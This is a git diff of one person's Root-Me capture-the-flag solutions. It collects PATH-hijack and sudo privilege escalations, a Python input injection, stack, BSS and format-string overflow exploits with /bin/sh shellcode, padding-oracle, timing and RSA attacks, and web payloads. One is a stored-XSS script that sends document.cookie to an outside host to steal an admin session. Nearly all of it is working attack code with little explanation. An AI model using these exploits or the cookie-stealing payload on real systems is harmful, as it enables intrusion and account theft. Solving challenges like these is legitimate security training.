spnow · December 5, 2016 21:52
diff --git a/App-Script - Bash - cron.sh b/App-Script - Bash - cron.sh
 # mkdir /tmp/bash
 # cd /tmp/bash
 # chmod 777 .
 # touch task.sh
 # nano task.sh
 # cp task.sh /tmp/._cron/
 # chmod 777 /tmp/._cron/task.sh;
 # cat pass
 cat /challenge/app-script/ch4/.passwd > /tmp/bash/pass
diff --git a/App-Script - ELF32 - System 1 b/App-Script - ELF32 - System 1
 mkdir /tmp/test
 cd /tmp/test
 ln -s ~/ch11 .
 ln -s /bin/cat ls
 export PATH=.:$PATH
 ./ch11
diff --git a/App-Script - ELF32 - System 2.c b/App-Script - ELF32 - System 2.c
 #include <stdlib.h>
 #include <stdio.h>

 /*
 mkdir /tmp/test2
 cd /tmp/test2
 ln -s ~/ch12 .
 export PATH=.:$PATH
 touch fakecat.c
 nano fakecat.c
 gcc fakecat.c -o ls
 ./ch12
 */

 int main(int argc, char *argv[]){
 	system("cat /challenge/app-script/ch12/.passwd");
 	return 0;
 }
diff --git a/App-Script - Python-input b/App-Script - Python-input
 app-script-ch6@challenge02:~$ ./setuid-wrapper
 Please enter password : __import__("os").system('cat .passwd')
diff --git a/App-Script - sudo - weak configuration b/App-Script - sudo - weak configuration
 sudo -l
 sudo -u app-script-ch1-cracked cat /challenge/app-script/ch1/ch1/../ch1cracked/.passwd
diff --git a/App-System - ELF32 - BSS buffer overflow.py b/App-System - ELF32 - BSS buffer overflow.py
 import struct

 '''
 objdump -t ch7 | grep -i 'bss\|data'
 '''

 def pad(s):
    s = s+'\x90'*512
    return s[:512]

 username_addr = 0x0804a040

 # http://www.kernel-panic.it/security/shellcode/shellcode5.html
 shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'

 print pad(shell) + struct.pack('I', username_addr)
diff --git a/App-System - ELF32 - Format string bug basic 1 b/App-System - ELF32 - Format string bug basic 1
 ./ch5 "`python -c \"print '%x '*10 +'\nkey---> '+'%x '*4\"`"
 python -c "print ''.join(reversed(\"646d6170452829366439617044\".decode('hex')))"
diff --git a/App-System - ELF32 - Format string bug basic 2.py b/App-System - ELF32 - Format string bug basic 2.py
 import struct

 '''
 gdb ch14
 gdb$ disass main
 gdb$ b *0x080485e8
 gdb$ run "`python ch14.py`"
 gdb$ x/48x $esp
 ./ch14 "`python /tmp/ch14/ch14.py`"
 '''

 CHECK_ADDR = 0xbffffb88

 def pad(s):
 	return s+'A'*(128 -len(s))

 exploit = struct.pack('I', CHECK_ADDR)
 exploit += struct.pack('I', CHECK_ADDR+2)
 exploit += "%48871x"
 exploit += "%9$n"
 exploit += "%73662x"
 exploit += "%10$n"

 print pad(exploit)
diff --git a/App-System - ELF32 - Stack buffer overflow basic 1 b/App-System - ELF32 - Stack buffer overflow basic 1
 (python -c "print 'a'*40 + '\xef\xbe\xad\xde'"; cat) | ./ch13
diff --git a/App-System - ELF32 - Stack buffer overflow basic 3 b/App-System - ELF32 - Stack buffer overflow basic 3
 (python -c "print '\x08\xbf\x08\x08\xff\x08\x08\xfa\x08\x08\xbc\x08'"; cat) | ./ch16
diff --git a/App-System - ELF32-Stack-buffer-overflow-basic-2 b/App-System - ELF32-Stack-buffer-overflow-basic-2
 gdb ch15
 	gdb$ info function
 		...
 		0x08048464  shell
 		0x08048478  sup
 		0x0804848c  main
 (python -c "print 'a'*128 + '\x64\x84\x04\x08'"; cat) | ./ch15
 cat .passwd
diff --git a/App-System - ELF64 - Stack buffer overflow - basic b/App-System - ELF64 - Stack buffer overflow - basic
 objdump -t ch35 | grep callMe
 (python -c "print '\xcd\x06\x40\x00\x00\x00\x00\x00'*200"; cat) | ./ch35
diff --git a/Cryptanalysis - AES - ECB.py b/Cryptanalysis - AES - ECB.py
 from Crypto.Cipher import AES
 from Crypto import Random
 import base64

 '''
 * First 4 bytes are unused, probably reserved for version number
 * Next 20 bytes are the basis of the key, to be XORed in a loop
 	until a sixteen-byte key is produced.
 * The rest of the file is, repeated as necessary:
 		four bytes = length of following cipher chunk, little-endian
 		n bytes = cipher chunk
 * Encryption is AES 128-bit ecb.
 * Chunk lengths are always a multiple of 16 bytes (128 bits).
 	Therefore there may be padding. We assume that any trailing byte
 	containing a value less than '\n' is a padding byte.    
 '''

 def pkcs7pad(data):
 	length = 16 - (len(data) % 16)
 	data += chr(length)*length
 	return data

 def pkcs7unpad(data):
 	return data[:-ord(data[-1])]

 def aesEncrypt(key, plain):
 	aes = AES.new(key, AES.MODE_ECB)
 	return aes.encrypt(pkcs7pad(plain))

 def aesDecrypt(key, cipher):
 	aes = AES.new(key, AES.MODE_ECB)
 	return pkcs7unpad(aes.decrypt(cipher))

 with open('mylogin.cnf', 'rb') as f:
 	data = f.read()
 keylen = 20
 key = data[4:4+keylen]
 # xor key first 4 bytes with last 4 bytes
 for i in range(4):
 	key = key[:i] + chr(ord(key[i]) ^ ord(key[i+16])) + key[i+1:]
 key = key[:16]

 idx = 4+keylen
 cipher = ''
 while idx < len(data):
 	cipherChunkLen = int(data[idx:idx+4][::-1].encode('hex'), 16)
 	idx += 4
 	cipher += data[idx:idx+cipherChunkLen]
 	idx += cipherChunkLen
 print aesDecrypt(key, cipher)
diff --git a/Cryptanalysis - ELF32 - PID encryption b/Cryptanalysis - ELF32 - PID encryption
 ./ch21 `python -c "import crypt, os; print crypt.crypt(str(os.getpid()+1), '\\$1\\$awesome')"`
diff --git a/Cryptanalysis - Encoding - UU b/Cryptanalysis - Encoding - UU
 in python

 >>> """begin 644 root-me_challenge_uudeview
 ... B5F5R>2!S:6UP;&[email protected]*4$%34R`](%5,5%)!4TE-4$Q%"@``
 ... `
 ... end
 ... """.decode("uu")
diff --git a/Cryptanalysis - File - PKZIP b/Cryptanalysis - File - PKZIP
 fcrackzip -u -D -p "/usr/share/wordlists/rockyou.txt" ch5.zip 

 PASSWORD FOUND!!!!: pw == 14535

 unzip ch5.zip
diff --git a/Cryptanalysis - Hash - Message Digest 5 b/Cryptanalysis - Hash - Message Digest 5
 in Kali

 findmyhash MD5 -h 7ecc19e1a0be36ba2c6f05d06b5d3058
diff --git a/Cryptanalysis - Initialisation Vector.py b/Cryptanalysis - Initialisation Vector.py
 from Crypto.Cipher import AES
 from Crypto import Random
 import base64

 def fillZero(hexStr, strLen):
 	return ('0' * (strLen - len(hexStr))) + hexStr

 def pkcs7pad(data):
 	length = 16 - (len(data) % 16)
 	data += chr(length)*length
 	return data

 def pkcs7unpad(data):
 	return data[:-ord(data[-1])]

 def aesEncrypt(key, iv, plain):
 	aes = AES.new(key, AES.MODE_CBC, iv)
 	print pkcs7pad(plain).encode('hex')
 	return aes.encrypt(pkcs7pad(plain))

 def aesDecrypt(key, iv, cipher):
 	aes = AES.new(key, AES.MODE_CBC, iv)
 	return pkcs7unpad(aes.decrypt(cipher))

 realPlain = '''Marvin: "I am at a rough estimate thirty billion times more intelligent than you. Let me give you an example. Think of a number, any number."
 Zem: "Er, five."
 Marvin: "Wrong. You see?"'''[:16]
 cipher = base64.b64decode('cY1Y1VPXbhUqzYLIOVR0RhUXD5l+dmymBfr1vIKlyqD8KqHUUp2I3dhFXgASdGWzRhOdTj8WWFTJPK0k/GDEVUBDCk1MiB8rCmTZluVHImczlOXEwJSUEgwDHA6AbiCwyAU58e9j9QbN+HwEm1TPKHQ6JrIOpdFWoYjS+cUCZfo/85Lqi26Gj7JJxCDF8PrBp/EtHLmmTmaAVWS0ID2cJpdmNDl54N7tg5TFTrdtcIplc1tDvoCLFPEomNa5booC')
 key = base64.b64decode('AQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRqrHB0eHyA=')
 iv = Random.new().read(AES.block_size)
 plain = aesDecrypt(key, iv, cipher)
 intmd = int(plain[:16].encode('hex'), 16) ^ int(iv.encode('hex'), 16)
 realIV = fillZero(hex(intmd ^ int(realPlain.encode('hex'), 16)).replace('0x','').replace('L',''), 32).decode('hex')
 print realIV
diff --git a/Cryptanalysis - Known plaintext - XOR.py b/Cryptanalysis - Known plaintext - XOR.py
 #!/usr/bin/env python

 def xor(s1, s2):
    global key_size
    res = [chr(0)]*key_size
    for i in range(len(s1)):
        q = ord(s1[i])
        d = ord(s2[i])
        k = q ^ d
        res[i] = chr(k)
    res = ''.join(res)
    return res

 with open('ch3.bmp', 'rb') as f:
    data = f.read()

 key = 'fallenfallenfallen'
 key_size = len(key)
 dec_data = ''
 for i in range(0, len(data), key_size):
    enc = xor(data[i:i+key_size], key)
    dec_data += enc
 with open('decrypted.png', 'wb') as f:
    f.write(dec_data)
diff --git a/Cryptanalysis - Pixel Madness.py b/Cryptanalysis - Pixel Madness.py
 from PIL import Image

 pixel = ['0x3+1x1+0x1+0x1+0x7+1x2+0x15+1x1+0x8+1x1+0x8+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x3+1x1+0x1+1x1+0x3+1x1+0x1+1x4+0x2+1x1+0x25'
 ,'0x2+1x1+0x4+1x1+0x4+1x3+0x1+1x2+0x2+1x8+0x11+1x4+0x1+1x3+0x6+1x2+0x4+1x1+0x4+1x2+0x7+1x4+0x4+1x2+0x7+1x2+0x3+1x2+0x3'
 ,'0x3+1x1+0x2+1x1+0x2+1x1+0x11+1x2+0x2+1x3+0x7+1x1+0x4+1x2+0x2+1x2+0x7+1x1+0x6+1x1+0x2+1x1+0x4+1x3+0x1+1x1+0x4+1x1+0x2+1x1+0x2+1x1+0x3+1x1+0x2+1x3+0x2+1x2+0x3'
 ,'1x1+0x2+1x1+0x4+1x1+0x2+1x1+0x1+1x1+0x2+1x1+0x2+1x1+0x1+1x2+0x2+1x2+0x1+1x2+0x3+1x1+0x3+1x1+0x2+1x2+0x1+1x3+0x3+1x1+0x2+1x1+0x4+1x2+0x1+1x1+0x4+1x1+0x3+1x2+0x12+1x2+0x1+1x1+0x3+1x7+0x3'
 ,'0x3+1x1+0x7+1x1+0x1+1x1+0x4+1x1+0x2+1x2+0x2+1x2+0x4+1x1+0x2+1x1+0x1+1x2+0x1+1x8+0x1+1x1+0x4+1x1+0x5+1x1+0x3+1x2+0x2+1x1+0x1+1x2+0x2+1x1+0x3+1x2+0x9+1x1+0x1+1x2+0x2+1x3+0x2+1x1                '
 ,'0x7+1x1+0x4+1x1+0x4+1x1+0x1+1x1+0x1+1x7+0x3+1x1+0x1+1x2+0x3+1x1+0x1+1x6+0x1+1x1+0x3+1x1+0x2+1x1+0x14+1x2+0x8+1x1+0x10+1x2+0x3+1x2+0x1+1x1+0x1'
 ,'0x6+1x5+0x4+1x1+0x7+1x1+0x2+1x1+0x3+1x2+0x4+1x1+0x8+1x1+0x3+1x2+0x1+1x2+0x3+1x1+0x8+1x1+0x2+1x2+0x1+1x1+0x3+1x7+0x5+1x2+0x2+1x1+0x2+1x2+0x3'
 ,'0x1+1x1+0x2+1x1+0x1+1x2+0x5+1x1+0x6+1x2+0x3+1x1+0x2+1x1+0x1+1x2+0x20+1x8+0x1+1x1+0x1+1x1+0x4+1x2+0x3+1x1+0x2+1x2+0x3+1x2+0x7+1x2+0x3+1x2+0x4'
 ,'0x2+1x1+0x3+1x5+0x5+1x2+0x7+1x1+0x4+1x2+0x2+1x1+0x2+1x2+0x1+1x1+0x3+1x1+0x6+1x2+0x2+1x2+0x3+1x2+0x2+1x3+0x1+1x1+0x6+1x3+0x3+1x5+0x3+1x1+0x4+1x1+0x5'
 ,'0x4+1x2+0x3+1x2+0x3+1x1+0x5+1x2+0x2+1x1+0x1+1x1+0x1+1x1+0x1+1x2+0x9+1x1+0x3+1x1+0x2+1x1+0x1+1x1+0x2+1x1+0x1+1x2+0x2+1x1+0x2+1x1+0x1+1x1+0x4+1x3+0x1+1x1+0x2+1x2+0x3+1x2+0x3+1x1+0x5+1x1+0x4+1x1+0x2'
 ,'0x6+1x5+0x4+1x1+0x1+1x1+0x2+1x2+0x6+1x1+0x1+1x7+0x4+1x3+0x3+1x1+0x4+1x1+0x2+1x2+0x4+1x1+0x6+1x1+0x6+1x8+0x3+1x1+0x5+1x1+0x7'
 ,'0x2+1x1+0x3+1x6+0x4+1x1+0x1+1x3+0x4+1x1+0x2+1x2+0x4+1x1+0x5+1x1+0x2+1x1+0x3+1x2+0x3+1x1+0x2+1x3+0x1+1x1+0x2+1x2+0x3+1x3+0x2+1x3+0x9+1x1+0x4+1x2+0x7+1x2']

 pixels_out = []
 maxwidth = 100
 for row in pixel:
 	width = 0
 	row = row.split('+')
 	for col in row:
 		col = col.split('x')
 		if '0' in col[0]:
 			for i in range(int(col[1])):
 				width += 1
 				pixels_out.append((255,255,255))
 				if width == 100:
 					break
 		else:
 			for i in range(int(col[1])):
 				width += 1
 				pixels_out.append((0,0,0))
 image_out = Image.new("RGB", (maxwidth, len(pixel)), "white")
 image_out.putdata(pixels_out)
 image_out.save('out.png')
diff --git a/Cryptanalysis - RSA - Continued fractions.py b/Cryptanalysis - RSA - Continued fractions.py
 from Crypto.Util.number import *
 from sympy.solvers import solve
 from sympy import Symbol
 import libnum

 '''
 python rsatool.py -f PEM -o private.pem -p 240235037993086647490360091251920509660926008787784163933134217892938306866733942789677346753386227305733054945882967240289722901543973488715609201686292184661845932338700104193843036687863902362262743558762135191383008370605906319072352806840967443808455667223189470493469726348267326087313303773058894562037 -q 273067835270880086905225991495379768025497181071655465691068234751894433419924689398578343149876505032891110212422075482294849988417876098468455656340271714411918145829343178315564694346337087829483997746033122936265729805143582391157953230943745740375876718066059315171626227510845447370568918599985468283447 -e 0xf70b3bd74801a25eccbde24e01b077677e298391d4197b099a6f961244f04314da7de144dd69a8aa84686bf4ddbd14a6344bbc315218dbbaf29490a44e42e5c4a2a4e76b8101a5ca82351c07b4cfd4e08038c8d5573a827b227bce515b70866724718ec2ac03359614cdf43dd88f1ac7ee453917975a13c019e620e531207692224009c75eaef11e130f8e54cce31e86c84e9366219ae5c250853be145ea87dcf37aa7ece0a994195885e31ebcd8fe742df1cd1370c95b6684ab6c37e84762193c27dd34c3cf3f5e69957b8338f9143a0052c9381d9e2ecb9ef504c954b453f57632705ed44b28a4b5cbe61368e485da6af2dfc901e45868cdd5006913f338a3

 and use puttygen to convert private.pem to private.ppk
 '''

 def partial_quotiens(x, y):
    pq = []
    while x != 1:
        pq.append(x / y)
        a = y
        b = x % y
        x = a
        y = b
    return pq

 def rational(pq):
    i = len(pq) - 1
    num = pq[i]
    denom = 1
    while i > 0:
        i -= 1
        a = (pq[i] * num) + denom
        b = num
        num = a
        denom = b
    return (num, denom)

 def convergents(pq):
    c = []
    for i in range(1, len(pq)):
        c.append(rational(pq[0:i]))
    return c

 def phiN(e, d, k):
    return ((e * d) - 1) / k

 def wiener_attack(e, n):
    pq = partial_quotiens(e, n)
    c = convergents(pq)
    x = Symbol('x')
    for (k, d) in c:
        if k != 0:
            y = n - phiN(e, d, k) + 1
            roots = solve(x**2 - y*x + n, x)
            if len(roots) == 2:
                p = roots[0]
                q = roots[1]
                if p * q == n:
                    break
    return p, q

 def decrypt(p, q, e, n, ct):
    phi = (p - 1 ) * (q - 1)
    d = libnum.invmod(e, phi)
    pt = pow(ct, long(d), n)
    return libnum.n2s(pt)

 ################### Wieners attack!(small d, big e)"
 e = 0xf70b3bd74801a25eccbde24e01b077677e298391d4197b099a6f961244f04314da7de144dd69a8aa84686bf4ddbd14a6344bbc315218dbbaf29490a44e42e5c4a2a4e76b8101a5ca82351c07b4cfd4e08038c8d5573a827b227bce515b70866724718ec2ac03359614cdf43dd88f1ac7ee453917975a13c019e620e531207692224009c75eaef11e130f8e54cce31e86c84e9366219ae5c250853be145ea87dcf37aa7ece0a994195885e31ebcd8fe742df1cd1370c95b6684ab6c37e84762193c27dd34c3cf3f5e69957b8338f9143a0052c9381d9e2ecb9ef504c954b453f57632705ed44b28a4b5cbe61368e485da6af2dfc901e45868cdd5006913f338a3
 n = 0x0207a7df9d173f5969ad16dc318496b36be39fe581207e6ea318d3bfbe22c8b485600ba9811a78decc6d5aab79a1c2c491eb6d4f39820657b6686391b85474172ae504f48f02f7ee3a2ab31fce1cf9c22f40e919965c7f67a8acbfa11ee4e7e2f3217bc9a054587500424d0806c0e759081651f6e406a9a642de6e8e131cb644a12e46573bd8246dc5e067d2a4f176fef6eec445bfa9db888a35257376e67109faabe39b0cf8afe2ca123da8314d09f2404922fc4116d682a4bdaeecb73f59c49db7fa12a7fc5c981454925c94e0b5472e02d924dad62c260066e07c7d3b1089d5475c2c066b7f94553c75e856e3a2a773c6c24d5ba64055eb8fea3e57b06b04a3
 p, q = wiener_attack(e, n)
 print 'p', p
 print 'q', q
diff --git a/Cryptanalysis - RSA - Factorisation.py b/Cryptanalysis - RSA - Factorisation.py
 from Crypto.Util.number import *
 from Crypto.PublicKey import RSA
 from sympy.solvers import solve
 from sympy import Symbol
 import libnum, base64

 '''
 inspect file .pem to find e, n with below command
 openssl rsa -pubin -in pubkey.pem -text -modulus
 and use factordb.com to find prime factor from n(modulus)
 '''

 def decrypt(p, q, e, n, ct):
 	phi = (p - 1 ) * (q - 1)
 	d = libnum.invmod(e, phi)
 	privkey = RSA.construct((n,e,d,p,q))
 	#return privkey.decrypt(ct)
 	return repr(privkey.decrypt(ct))

 m = 'e8oQDihsmkvjT3sZe+EE8lwNvBEsFegYF6+OOFOiR6gMtMZxxba/bIgLUD8pV3yEf0gOOfHuB5bC3vQmo7bE4PcIKfpFGZBA'
 e = 65537L
 p = 398075086424064937397125500550386491199064362342526708406385189575946388957261768583317
 q = 472772146107435302536223071973048224632914695302097116459852171130520711256363590397527
 n = 188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059
 print decrypt(p, q, e, n, m.decode('base64'))
diff --git a/Cryptanalysis - Service - Timing attack.py b/Cryptanalysis - Service - Timing attack.py
 import sys, socket, time

 host = "challenge01.root-me.org"
 port = 51015

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((host,port))
 key = '____________'
 key_index = 0
 prev_time = 0.2
 c = 0
 print s.recv(2024)
 while(key_index < 12):
 	if key_index == 5:
 		k = '-'
 	else:
 		k = chr(48+c)
 	key = key[:key_index] + k + key[(key_index+1):]
 	start_time = time.time()
 	s.send(key+'\r\n')
 	print s.recv(2024).strip()
 	print 'time:', time.time() - start_time, 'key:', key, '\r\n'
 	elapse_time = time.time() - start_time
 	if elapse_time - prev_time > 0.45:
 		print '------------------', k
 		key_index += 1
 		prev_time = elapse_time
 		c = 0
 		continue
 	c += 1
 s.close()
diff --git a/Cryptanalysis - Service-CBC-Padding.py b/Cryptanalysis - Service-CBC-Padding.py
 import socket, math, binascii, sys

 HOST = "challenge01.root-me.org"
 PORT = 51014

 #	padding oracle with pkcs7
 def splitHexStrToBlock(hex, sizeInByte):
 	return [hex[i:i+sizeInByte*2] for i in range(0, len(hex), sizeInByte*2)]

 def replaceByteInHexStr(hexStr, bytePos, val):
 	return hexStr[:bytePos*2] + '%02x' % (val) + hexStr[(bytePos*2+2):]

 def fillZero(hexStr, strLen):
 	return ('0' * (strLen - len(hexStr))) + hexStr

 def isPadCorrect(cipherStr):
 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 	s.connect((HOST, PORT))

 	sys.stdout.write("\r" + cipherStr)
 	sys.stdout.flush()
 	s.sendall(cipherStr + "\n")
 	plain = s.recv(1024)
 	if 'Error' in plain:
 		return False
 	else:
 		print
 		print plain.strip()
 		return True

 def oracleAttack(cipherStr, blkPosition, blkSizeInByte):
 	cipher = splitHexStrToBlock(cipherStr, blkSizeInByte)

 	cipher[-1] = cipher[blkPosition]
 	inmdBlock = 'dd'*b_size
 	cBlockToXorWthiIntmd = cipher[-(len(cipher)-(blkPosition-1))]

 	# insert mal cipher block
 	mal_c = 'ff'*b_size
 	tmp = cipher[-1]
 	cipher[-1] = mal_c
 	cipher.append(tmp)

 	# loop cipher from last byte
 	for b in range(blkSizeInByte-1, -1, -1):
 		strt = 0
 		if b == blkSizeInByte - 1:
 			strt = 0x5b
 		elif b == blkSizeInByte - 2:
 			strt = 0xf8
 		elif b == blkSizeInByte - 3:
 			strt = 0xd2
 		elif b == blkSizeInByte - 4:
 			strt = 0x29
 		elif b == blkSizeInByte - 5:
 			strt = 0x64
 		elif b == blkSizeInByte - 6:
 			strt = 0x53
 		elif b == blkSizeInByte - 7:
 			strt = 0xbe
 		elif b == blkSizeInByte - 8:
 			strt = 0x42
 		elif b == blkSizeInByte - 9:
 			strt = 0xff
 		elif b == blkSizeInByte - 10:
 			strt = 0x73
 		elif b == blkSizeInByte - 11:
 			strt = 0x2a
 		elif b == blkSizeInByte - 12:
 			strt = 0x74
 		elif b == blkSizeInByte - 13:
 			strt = 0x45
 		elif b == blkSizeInByte - 14:
 			strt = 0x36
 		elif b == blkSizeInByte - 15:
 			strt = 0x2a
 		elif b == blkSizeInByte - 16:
 			strt = 0xe4

 		for val in range(strt, 256):
 			cipher[-2] = replaceByteInHexStr(cipher[-2], b, val)
 			if isPadCorrect(''.join(cipher)):
 				padVal = blkSizeInByte-b
 				padStr = '%02x' % (padVal) * padVal
 				inmdBlock = inmdBlock[:(blkSizeInByte-padVal)*2] + fillZero(hex(int(padStr,16) ^ int(cipher[-2][-padVal*2:],16)).replace('0x','').replace('L',''), padVal*2)
 				print 'pad', padVal
 				print 'value %x' % val
 				plain = fillZero(hex(int(cBlockToXorWthiIntmd[-padVal*2:],16) ^ int(inmdBlock[-padVal*2:],16)).replace('0x','').replace('L',''), padVal*2).decode('hex')
 				print plain+'\n'

 				# change mal cipher block for next round
 				padVal += 1
 				padStr = '%02x' % (padVal) * padVal
 				cipher[-2] = cipher[-2][:(blkSizeInByte-padVal)*2] + fillZero(hex(int(padStr,16) ^ int(inmdBlock[-padVal*2:],16)).replace('0x','').replace('L',''), padVal*2)
 				break

 c = "BC16542433100D9522DC3B6428D4FF5F7FC67B4994323C47ED09F185C3CE7A2E"
 b_size = 16
 oracleAttack(c, 1, 16)
diff --git a/Cryptanalysis - Shift cipher.py b/Cryptanalysis - Shift cipher.py
 data = open('ch7.bin', 'rb').read()
 out = ''
 for d in data:
 	out += chr(ord(d)-10)
 print out
diff --git a/Cryptanalysis - Transposition - Rail Fence b/Cryptanalysis - Transposition - Rail Fence
 http://www.dcode.fr/rail-fence-cipher
diff --git a/Programming - Arithmetic progression.py b/Programming - Arithmetic progression.py
 import re, requests

 def arith_func(n, sign, alpha, beta, u0):
    result = u0
    if n == 0:
        return u0
    if sign == '-':
        for i in xrange(1,n+1):
            result = alpha + result - (i-1)*beta
    else:
        for i in xrange(1,n+1):
            result = alpha + result + (i-1)*beta
    return result

 s = requests.Session()
 r = s.get('http://challenge01.root-me.org/programmation/ch1/ch1.php')
 source = r.text.encode('utf-8')
 match = re.search(r'U<sub>n\+1</sub> = \[ (.*) \+ U<sub>n</sub> ] (.) \[ n \* (.*) ]<br />\nU<sub>0</sub> = (.*)\n', source)
 alpha = int(match.group(1))
 sign = match.group(2)
 beta = int(match.group(3))
 u0 = int(match.group(4))
 match = re.search(r'You must find U<sub>(.*)</sub>', source)
 n = int(match.group(1))
 result = arith_func(n, sign, alpha, beta, u0)

 r = s.get('http://challenge01.root-me.org/programmation/ch1/ep1_v.php?result='+str(result))
 source = r.text.encode('utf-8')
 print source
diff --git a/Programming - CAPTCHA me if you can.py b/Programming - CAPTCHA me if you can.py
 from PIL import Image
 import ImageEnhance, base64, requests, time
 import pytesser as pytesser
 from HTMLParser import HTMLParser

 class MLStripper(HTMLParser):
    def __init__(self):
        self.reset()
        self.fed = []
    def handle_data(self, d):
        self.fed.append(d)
    def get_data(self):
        return ''.join(self.fed)

 def strip_tags(html):
    s = MLStripper()
    s.feed(html)
    return s.get_data()

 def save_captcha(s, link, filename):
 	r = s.get(link)
 	source = r.text.encode('utf-8')
 	source = source.split('base64,')[1]
 	source = source.split('" /><br>')[0]
 	with open(filename, 'wb') as f:
 		f.write(base64.b64decode(source))

 pytesser.tesseract_exe_name = 'C:/Python27/Lib/site-packages/tesseract.exe'
 filename = 'temp.png'

 s = requests.Session()
 save_captcha(s, 'http://challenge01.root-me.org/programmation/ch8/', filename)

 imgx = Image.open(filename)
 imgx = imgx.convert("RGBA")
 pix = imgx.load()
 for y in xrange(imgx.size[1]):
 	for x in xrange(imgx.size[0]):
 		if pix[x, y] == (0, 0, 0, 255):
 			pix[x, y] = (255, 255, 255, 255)
 imgx.save("bw.gif", "GIF")
 original = Image.open('bw.gif')
 captcha = ''.join(pytesser.image_to_string(original).strip().split())
 print captcha
 r = s.post('http://challenge01.root-me.org/programmation/ch8/', data = {'cametu':captcha})
 source = r.text.encode('utf-8')
 print strip_tags(source)
diff --git a/Programming - Encoded string.py b/Programming - Encoded string.py
 import socket, sys, time, base64

 server = "irc.root-me.org"
 port = 6667
 channel = "#root-me_challenge"
 botnick = "fuckingbot"
 serverbot = "Candy"

 irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 print "connecting to:"+server
 irc.connect((server, port))
 irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :This is a fun bot!\n")
 irc.send("NICK "+ botnick +"\n")
 irc.send("PRIVMSG nickserv :iNOOPE\r\n")
 irc.send("JOIN "+ channel +"\n")

 i = 0
 while 1:
 	text = irc.recv(2040)
 	print text

 	if text.find('PING') != -1:
 		irc.send('PONG ' + text.split() [1] + '\r\n')
 	i += 1
 	if i == 6:
 		break

 time.sleep(3)
 irc.send('PRIVMSG '+serverbot+' :!ep2\r\n')
 text = irc.recv(2040)
 print text
 if text.find(serverbot) != -1:
 	text = text.split(' :')[1].strip()
 	ans = base64.b64decode(text)
 	print ans
 	irc.send('PRIVMSG '+serverbot+' :!ep2 -rep %s\r\n' % ans)
 text = irc.recv(2040)
 print text
diff --git a/Programming - Go back to college.py b/Programming - Go back to college.py
 import socket, sys, time, math

 server = "irc.root-me.org"
 port = 6667
 channel = "#root-me_challenge"
 botnick = "fuckingbot"
 serverbot = "Candy"

 irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 print "connecting to:"+server
 irc.connect((server, port))
 irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :This is a fun bot!\n")
 irc.send("NICK "+ botnick +"\n")
 irc.send("PRIVMSG nickserv :iNOOPE\r\n")
 irc.send("JOIN "+ channel +"\n")

 i = 0
 while 1:
 	text = irc.recv(2040)
 	print text

 	if text.find('PING') != -1:
 		irc.send('PONG ' + text.split() [1] + '\r\n')
 	i += 1
 	if i == 6:
 		break

 time.sleep(3)
 irc.send('PRIVMSG '+serverbot+' :!ep1\r\n')
 text = irc.recv(2040)
 print text
 if text.find(serverbot) != -1:
 	text = text.split(' :')[1].strip().split(' / ')
 	ans = math.sqrt(int(text[0]))*float(text[1])
 	print '%.2f' % ans
 	irc.send('PRIVMSG '+serverbot+' :!ep1 -rep %.2f\r\n' % ans)
 text = irc.recv(2040)
 print text
diff --git a/Programming - Quick Response Code.py b/Programming - Quick Response Code.py
 from PySide.QtSvg import *
 from PySide.QtGui import *
 import sys, subprocess, urllib, base64, requests
 from PIL import Image
 from HTMLParser import HTMLParser

 class MLStripper(HTMLParser):
    def __init__(self):
        self.reset()
        self.fed = []
    def handle_data(self, d):
        self.fed.append(d)
    def get_data(self):
        return ''.join(self.fed)

 def strip_tags(html):
    s = MLStripper()
    s.feed(html)
    return s.get_data()

 def save_image(s, link, filename):
 	r = s.get(link)
 	source = r.text.encode('utf-8')
 	source = source.split('base64,')[1]
 	source = source.split('" /><br>')[0]
 	with open(filename, 'wb') as f:
 		f.write(base64.b64decode(source))

 def decode_qr_from_web(filename):
 	files = {'f': open(filename, 'rb')}
 	r = requests.post('https://zxing.org/w/decode', files=files)
 	source = r.text.encode('utf-8')
 	return source.split('Parsed Result</td><td><pre>')[1].split('</pre>')[0]

 s = requests.Session()
 save_image(s, 'http://challenge01.root-me.org/programmation/ch7/', 'temp.png')

 improb = Image.open('temp.png')
 improb = improb.convert("RGBA")
 pix = improb.load()
 imtemplate = Image.open('template.png')
 imtemplate = imtemplate.convert("RGBA")
 pixTmplt = imtemplate.load()
 pixels_out = []
 for y in range(0, improb.size[1]-5, 9):
 	for x in range(0, improb.size[0]-5, 9):
 		if pix[x+5, y+5] == (4, 2, 4, 255) or pixTmplt[x/9, y/9] == (0, 0, 0, 255):
 			pixels_out.append((0,0,0))
 		else:
 			pixels_out.append((255,255,255))

 image_out = Image.new("RGB", (imtemplate.size[0], imtemplate.size[0]), "white")
 image_out.putdata(pixels_out)
 image_out = image_out.resize((561, 561))
 image_out.save('qr.png')

 res = decode_qr_from_web('qr.png').split('The key is ')[1]
 print res
 r = s.post('http://challenge01.root-me.org/programmation/ch7/', data = {'metu':res})
 source = r.text.encode('utf-8')
 print strip_tags(source)
diff --git a/Web-Client - XSS - Stored 1 b/Web-Client - XSS - Stored 1
 insert data with

 --Title--
 xxx

 --Content--
 xx<script>location.href=("http://myweb.cmu.ac.th/peeranat_t/pico.php?txt="+document.cookie)</script>

 if admin read a page we'll got a session at
 http://myweb.cmu.ac.th/peeranat_t/pico.txt
diff --git a/Web-Server - Backup file b/Web-Server - Backup file
 download backup file from
 http://challenge01.root-me.org/web-serveur/ch11/index.php~
diff --git a/Web-Server - CRLF b/Web-Server - CRLF
 challenge01.root-me.org/web-serveur/ch14/?username=admin authenticated.%0d%0axx&password=x
diff --git a/Web-Server - Directory traversal b/Web-Server - Directory traversal
 http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=../galerie/86hwnX2r/
 http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt
